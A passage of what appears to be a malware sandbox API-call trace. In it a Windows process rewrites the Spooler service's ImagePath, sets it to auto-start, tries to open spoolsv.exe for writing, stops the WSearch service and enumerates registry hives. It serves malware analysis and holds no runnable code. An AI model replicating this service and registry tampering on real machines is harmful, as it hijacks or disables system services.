lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.154] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.154] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.154] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.154] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.154] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.154] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.154] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.154] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.154] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.154] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.154] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.155] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.155] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.155] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.155] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0256.155] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\spoolsv.exe", cbData=0x20 | out: lpData="C:\\Windows\\System32\\spoolsv.exe") returned 0x0 [0256.155] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\System32\\spoolsv.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\System32\\spoolsv.exe" [0256.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0256.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0256.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0256.155] LocalFree (hMem=0x7e4b18) returned 0x0 [0256.155] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\spoolsv.exe", cbData=0x20 | out: lpData="C:\\Windows\\System32\\spoolsv.exe") returned 0x0 [0256.155] OpenServiceW (hSCManager=0x803918, lpServiceName="Spooler", dwDesiredAccess=0x2) returned 0x8038a0 [0256.156] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0256.170] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0256.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0256.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0256.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0256.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5b8) returned 1 [0256.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0256.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.171] RegCloseKey (hKey=0x148) returned 0x0 [0256.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0256.171] RegCloseKey (hKey=0x154) returned 0x0 [0256.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0256.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0256.171] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\spoolsv.exe" (normalized: "c:\\windows\\system32\\spoolsv.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a5786eb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9a5786eb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9a59e84b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x88800)) returned 1 [0256.171] CreateFileW (lpFileName="C:\\Windows\\System32\\spoolsv.exe" (normalized: "c:\\windows\\system32\\spoolsv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0256.172] GetLastError () returned 0x20 [0256.172] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0256.172] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0256.172] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0256.172] OpenServiceW (hSCManager=0x803918, lpServiceName="WSearch", dwDesiredAccess=0x20) returned 0x803990 [0256.173] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0256.173] GetLastError () returned 0x425 [0256.173] CloseServiceHandle (hSCObject=0x803990) returned 1 [0256.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0256.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0256.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0256.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0256.174] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0256.174] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0256.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0256.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0256.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.174] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0256.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0256.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.174] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0256.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0256.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.174] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0256.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0256.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.175] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0256.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0256.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.175] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0256.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0256.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.175] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0256.175] RegCloseKey (hKey=0x80000002) returned 0x0 [0256.175] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0256.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0256.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0256.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.176] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0256.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0256.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0256.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.176] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0256.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0256.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1bf8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0256.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.176] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0256.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0256.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.177] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0256.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0256.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.177] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0256.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0256.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.177] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0256.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0256.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.177] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0256.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, 